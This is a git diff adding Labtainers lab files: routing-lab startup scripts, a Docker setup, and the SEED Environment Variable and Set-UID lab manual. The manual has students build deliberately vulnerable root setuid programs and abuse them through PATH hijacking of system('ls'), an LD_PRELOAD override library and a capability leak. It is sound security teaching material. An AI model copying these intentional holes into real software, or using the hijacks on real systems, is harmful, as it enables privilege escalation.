+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_bin/fixlocal.sh new file mode 100755 index 000000000..e23f0bacd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/etc/rc.local new file mode 100755 index 000000000..1444fcf00 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.1.10 +echo "nameserver 192.168.1.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..849e19264 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Use gateway as the name server +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/etc/rc.local new file mode 100755 index 000000000..ca20ff1cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.2.10 +echo "nameserver 192.168.1.10" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/etc/rc.local new file mode 100644 index 000000000..732364c74 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/etc/rc.local @@ -0,0 +1,6 @@ +#!/bin/bash +echo "" > /etc/resolv.conf +route del -host 172.17.0.1 + +route delete default gw 192.168.2.101 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/sbin/faux_init new file mode 100755 index 000000000..18593ebba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/routing-basics2/ws3/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +/etc/rc.local +# docker bug? +sleep 2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/about.txt new file mode 100644 index 000000000..426c8a783 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/about.txt @@ -0,0 +1 @@ +Risks of the setuid feature, including use of environment variables. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/start.config new file mode 100644 index 000000000..7ec5a4001 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/config/start.config @@ -0,0 +1,66 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER setuid-env + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED setuid-env_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER setuid-env + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/dockerfiles/Dockerfile.setuid-env.setuid-env.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/dockerfiles/Dockerfile.setuid-env.setuid-env.student new file mode 100644 index 000000000..fc6b0f2b5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/dockerfiles/Dockerfile.setuid-env.setuid-env.student @@ -0,0 +1,62 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN useradd -ms /bin/bash user1 +RUN echo "user1:user1" | chpasswd + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Environment_Variable_and_SetUID.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Environment_Variable_and_SetUID.tex new file mode 100755 index 000000000..ad66b969b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Environment_Variable_and_SetUID.tex @@ -0,0 +1,521 @@ + + +\input{header} + +\lhead{\bfseries SEED Labs -- Environment Variable and \setuid Program Lab} + + +\begin{document} + + +\begin{center} +{\LARGE Environment Variable and \setuid Program Lab} +\end{center} + +\copyrightnotice + + +\section{Overview} + +The learning objective of this lab is for students to understand how +environment variables affect program and system behavior. Environment +variables are a set of dynamic named values that can affect the way running processes +will behave on a computer. They are used by most operating systems, since +they were introduced to Unix in 1979. Although environment variables affect +program behavior, how they achieve that is not well understood by many +programmers. As results, if a program uses environment +variables, but the programmer do not know that they are used, the program +may have vulnerabilities. In this lab, students will understand how +environment variables work, how they are propogated from parent process to +child, and how they affect system/program bahivors. We are particularly +interested in how environment variables affect the behavior of \setuid +programs, which are usually privileged programs. + +\section{Lab Environment} + +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer setuid-env +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + + +\section{Lab Tasks} + +\subsection{Task 1: Manipulating environment variables} + +In this task, we study the commands that can be used to set and unset +environment variables. We are using the Bash in this lab. The default +shell that a user uses is set in the {\tt /etc/passwd} file (the last +field of each entry). You can change this to another shell program using +the command {\tt chsh} (please do not do it for this lab). Please +do the following tasks: + +\begin{itemize} +\item Use {\tt printenv} or {\tt env} command to print out the +environment variables. If you are interested in some particular +environment variables, such as {\tt PWD}, you can use {\tt "printenv PWD"} +or {\tt "env | grep PWD"}. + + +\item Use {\tt export} and {\tt unset} to set or unset environment +variables. It should be noted that +these two commands are not seperate programs; they are two of +the Bash's internal commands (you will not be able to find them +outside of Bash). + +\end{itemize} + + +\subsection{Task 2: Inheriting environment variables from parents} + +In this task, we study how environment variables are inherited by +child processes from their parents. In Unix, +{\tt fork()} creates a new process by duplicating the calling process. +The new process, referred to as the child, is an exact duplicate of the calling +process, referred to as the parent; however, several things +are not inherited by the child (please see the manual of {\tt fork()} by +typing the following command: {\tt man fork}). In this task, +we would like to know whether the parent's environment variables +are inherited by the child process or not. + + +\paragraph{Step 1.} Please compile and run the {\tt printenv.c} +program (the listing is below), and describe your observation. Because the output +contains many strings, you should save the output into a file, such as +using {\tt a.out > child} (assuming that {\tt a.out} is your +executable file name). + + +\begin{Verbatim}[frame=single] +#include +#include +#include + +extern char **environ; + +void printenv() +{ + int i = 0; + while (environ[i] != NULL) { + printf("%s\n", environ[i]); + i++; + } +} + +void main() +{ + pid_t childPid; + + switch(childPid = fork()) { + case 0: /* child process */ + printenv(); + exit(0); + default: /* parent process */ + //printenv(); + exit(0); + } +} +\end{Verbatim} + +\paragraph{Step 2.} Now comment out the {\tt printenv()} statement in +the child process case, and uncomment the {\tt printenv()} statement in +the parent process case. Compile and run the code, and describe your +observation. Save the output in another file. + + +\paragraph{Step 3.} Compare the difference of these two files using +the {\tt diff} command. Please draw your conclusion. + + + +\subsection{Task 3: Environment variables and {\tt execve()}} + +In this task, we study how environment variables are affected +when a new program is +executed via {\tt execve()}. The +function {\tt execve()} calls a system call to load +a new command and execute it; this function never returns. +No new process is created; instead, the calling +process's text, data, bss, and stack are overwritten by that of +the program loaded. Essentially, {\tt execve()} runs the new program inside +the calling process. We are interested in what happens to the +environment variables; are they automatically inherited by the +new program? + + +\paragraph{Step 1.} Please compile and run the {\tt execve.c} program, +(the listing is below), and describe your observation. This program simply executes +a program called {\tt /usr/bin/env}, which prints out the environment +variables of the current process. + +\begin{Verbatim}[frame=single] +#include +#include + +extern char **environ; + +int main() +{ + char *argv[2]; + + argv[0] = "/usr/bin/env"; + argv[1] = NULL; + + execve("/usr/bin/env", argv, NULL); + + return 0 ; +} +\end{Verbatim} + + +\paragraph{Step 2.} Now, change the invocation of {\tt execve()} to the following, and +describe your observation. +\begin{verbatim} + execve("/usr/bin/env", argv, environ); +\end{verbatim} + + +\paragraph{Step 3.} Please draw your conclusion regarding how the new +program gets its environment variables. + + +\subsection{Task 4: Environment variables and {\tt system()}} + +In this task, we study how environment variables are affected +when a new program is executed via the {\tt system()} function. This +function is used to execute a command, but unlike +{\tt execve()}, which directly executes a command, {\tt system()} +actually executes {\tt "/bin/sh -c command"}, i.e., it +executes {\tt /bin/sh}, and asks the shell to execute the command. + +If you look at the implementation of the {\tt system()} function, you will +see that it uses {\tt execl()} to execute {\tt /bin/sh}; {\tt excel()} +calls {\tt execve()}, passing to it the environment variables array. +Therefore, using {\tt system()}, the environment variables of the calling process +are passed to the new program {\tt /bin/sh}. Please compile and run the following +{\tt system.c} program, (listing is below) to verify this. + + +\begin{Verbatim}[frame=single] +#include +#include + +int main() +{ + system("/usr/bin/env"); + + return 0 ; +} +\end{Verbatim} + + +\subsection{Task 5: Environment variable and \setuid Programs} + +{\tt Set-UID} is an important security mechanism in Unix operating systems. +When a {\tt Set-UID} program runs, it assumes the owner's privileges. For +example, if the program's owner is root, then when anyone runs this +program, the program gains the root's privileges during its execution. {\tt +Set-UID} allows us to do many interesting things, but it escalates the +user's privilege when executed, making it quite risky. Although the +behavior of a \setuid programs is decided by its program logic, not by +users, users can indeed affect the behavior via environment variables. +To understand how \setuid programs are affected, let us first figure out +whether environment variables are inherited by the \setuid program's +process from the user's process. + + +\paragraph{Step 1.} We will use the {\tt printall.c} program, +(listing below) that prints out all the environment variables in the current process. + +\begin{Verbatim}[frame=single] +#include +#include + +extern char **environ; + +void main() +{ + int i = 0; + while (environ[i] != NULL) { + printf("%s\n", environ[i]); + i++; + } +} +\end{Verbatim} + + +\paragraph{Step 2.} Compile the {\tt printall.c} program, change its ownership to {\tt +root}, and make it a \setuid program. +\begin{Verbatim} + sudo chown root:root a.out + sudo chmod a+s a.out +\end{Verbatim} +\paragraph{Step 3.} In your Bash shell +use the {\tt export} command to set the +following environment variables (they may have already exist): +\begin{itemize} +\item {\tt PATH} +\item {\tt LD\_LIBRARY\_PATH} +\item {\tt ANY\_NAME} (this is an environment variable defined by you, so +pick whatever name you want). +\end{itemize} + +These environment variables are set in the user's shell process. +Now, run the \setuid program from Step 2 in your shell. After you type the +name of the program in your shell, the shell forks a child process, +and uses the child process to run the program. Please check whether all the +environment variables you set in the shell process (parent) get into +the \setuid child process. Describe your observation. If there are +surprises to you, describe them. + + + +\subsection{Task 6: The system() function and \setuid Programs} +One of many changes made to the setuid feature over the years relates +to its interaction with the system() function. Since the results +of system() are dependent on environment variables, it was a source +of increased risk. For example, use of the {\tt PATH} environment +variable will determine which of potentially several instances of a +given program will be invoked. The following command: +\begin{verbatim} + export PATH=~/:$PATH +\end{verbatim} +\noindent would cause the shell to first look in your home directory for a program +of a given name. + +The setuid {\tt path-suid.c} program list below is supposed to execute the {\tt /bin/ls} command; +however, the programmer only uses the relative path for the {\tt ls} +command, rather than the absolute path: + +\begin{Verbatim}[frame=single] +# path-suid.c +#include +#include +#include +#include +int main() +{ + uid_t euid = geteuid(); + printf("euid %d\n", euid); + system("ls"); + return 0; +} +\end{Verbatim} + +Please compile the {\tt path-suid.c} program, and change its owner to {\tt root}, and +make it a \setuid program. + +Can you cause the path-suid.c \setuid program run the ls.c program instead of +{\tt /bin/ls}? If you can, is your code running with the root privilege? +Describe and explain your observations. +\begin{Verbatim}[frame=single] +# ls.c +#include +#include +#include +int main(){ + uid_t euid = geteuid(); + printf("my ls prog, euid is %d\n", euid); + return 0; +} +\end{Verbatim} + + + +\subsection{Task 7: The {\tt LD\_PRELOAD} environment variable and \setuid +Programs} + +In this task, we study how \setuid programs deal +with some of the environment variables. +Several environment variables, including {\tt LD\_PRELOAD}, +{\tt LD\_LIBRARY\_PATH}, and other {\tt LD\_*} influence the +behavior of dynamic loader/linker. +A dynamic loader/linker is the part of an operating system (OS) that +loads (from persistent storage to RAM) and links the shared libraries +needed by an executable at run time. + +In Linux, {\tt ld.so} or {\tt ld-linux.so}, are the dynamic +loader/linker (each for different types of binary). +Among the environment variables that affect their behavior, +{\tt LD\_LIBRARY\_PATH} and {\tt LD\_PRELOAD} are the two +that we are concerned in this lab. +In Linux, {\tt LD\_LIBRARY\_PATH} is a colon-separated set +of directories where libraries should be searched for first, before the +standard set of directories. +{\tt LD\_PRELOAD} specifies a list of additional, user-specified, shared libraries to +be loaded before all others. In this task, we will only +study {\tt LD\_PRELOAD}. + + +\paragraph{Step 1.} +First, we will see how these environment variables influence the +behavior of dynamic loader/linker when running a normal program. +Please follow these steps: + + + \begin{enumerate} + \item Let us build a dynamic link library. The following program listing, + is in {\tt mylib.c}. It basically overrides the {\tt sleep()} function + in {\tt libc}: + \begin{verbatim} + #include + void sleep (int s) + { + /* If this is invoked by a privileged program, + you can do damages here! */ + printf("I am not sleeping!\n"); + } + \end{verbatim} + + \item We can compile the {\tt mylib.c} program using the following commands (in the + {\tt -lc} argment, the second character is $\ell$): + \begin{verbatim} + % gcc -fPIC -g -c mylib.c + % gcc -shared -o libmylib.so.1.0.1 mylib.o -lc + \end{verbatim} + + + + \item Now, set the {\tt LD\_PRELOAD} environment variable: + \begin{verbatim} + % export LD_PRELOAD=./libmylib.so.1.0.1 + \end{verbatim} + + \item Finally, compile the {\tt myprog.c} program + in the same directory as the above dynamic link library {\tt + libmylib.so.1.0.1}: + \begin{verbatim} + /* myprog.c */ + int main() + { + sleep(1); + return 0; + } + \end{verbatim} + \end{enumerate} + + +\paragraph{Step 2.} +After you have done the above, please run {\tt myprog} under the following +conditions, and observe what happens. + + \begin{itemize} + \item Make {\tt myprog} a regular program, and run it as a normal user. + \item Make {\tt myprog} a \setuid root program, and run it as a normal user. + \item Become root with {\tt sudo su}, export the {\tt LD\_PRELOAD} + environment variable again and run the {\tt myprog} program again. + + \item Make {\tt myprog} a \setuid user1 program (i.e., the owner is user1, which + is another user account), export the {\tt LD\_PRELOAD} environment variable + again as the user1 user and run it. + \end{itemize} + + +\paragraph{Step 3.} +You should be able to observe different behaviors in the scenarios +described above, even though you are running the same program. You need +to figure out what causes the difference. Environment variables +play a role here. Please design an experiment to figure out the +main causes, and explain why the behavior in Step 2 is +different. (Hint: the child process +may not inherit the {\tt LD\_*} environment variables). + + +\subsection{Task 8: Capability Leaking} + +To follow the Principle of Least Privilege, \setuid programs often +permanently relinquish their root privileges if such privileges are not +needed anymore. Moreover, sometimes, the program needs to hand over its +control to the user; in this case, root privileges must be revoked. +The {\tt setuid()} system call can be used to revoke the privileges. +According to the manual, ``\texttt{setuid()} sets the effective user ID of +the calling process. If the effective UID of the caller is root, the real +UID and saved set-user-ID are also set''. Therefore, if a \setuid program +with effective UID 0 calls \texttt{setuid(n)}, the process will become a +normal process, with all its UIDs being set to \texttt{n}. + +When revoking the privilege, one of the common mistakes is capability +leaking. The process may have gained some privileged capabilities when it +was still privileged; when the privilege is dropped, if the program +does not clean up those capabilities, they may still be accessible by the +non-privileged process. In other words, although the effective user ID of +the process becomes non-privileged, the process is still privileged because +it possesses privileged capabilities, e.g., access to a protected file. + + +Compile the {\tt leak.c} program, change its owner to root, and +make it a \setuid program. Run the program as a normal user, +and describe what you have observed. +Will the file {\tt /etc/zzz} be modified? Please explain +your observation. + +\begin{Verbatim}[frame=single] +#include +#include +#include + +void main() +{ int fd; + + /* Assume that /etc/zzz is an important system file, + * and it is owned by root with permission 0644. + fd = open("/etc/zzz", O_RDWR | O_APPEND); + if (fd == -1) { + printf("Cannot open /etc/zzz\n"); + exit(0); + } + + /* Simulate the tasks conducted by the program */ + sleep(1); + + /* After the task, the root privileges are no longer needed, + it's time to relinquish the root privileges permanently. */ + setuid(getuid()); /* getuid() returns the real uid */ + + if (fork()) { /* In the parent process */ + close (fd); + exit(0); + } else { /* in the child process */ + /* Now, assume that the child process is compromised, malicious + attackers have injected the following statements + into this process */ + + write (fd, "Malicious Data\n", 15); + close (fd); + } +} +\end{Verbatim} + + + +\section{Submission} + + +You need to submit a detailed lab report to describe what you have done and +what you have observed, including screenshots and code snippets. +You also need to provide explanation to the +observations that are interesting or surprising. You are encouraged to +pursue further investigation, beyond what is required by the lab +description. Your can earn bonus points for extra efforts (at the +discretion of your instructor). + +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab setuid-env +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Makefile new file mode 100644 index 000000000..3fbfa70a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/Makefile @@ -0,0 +1,8 @@ +setuid-env.pdf: Environment_Variable_and_SetUID.tex header.tex + latex Environment_Variable_and_SetUID + pdflatex -jobname=setuid-env Environment_Variable_and_SetUID + pdflatex -jobname=setuid-env Environment_Variable_and_SetUID + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.out *.dvi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/header.tex new file mode 100644 index 000000000..feb73a788 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ 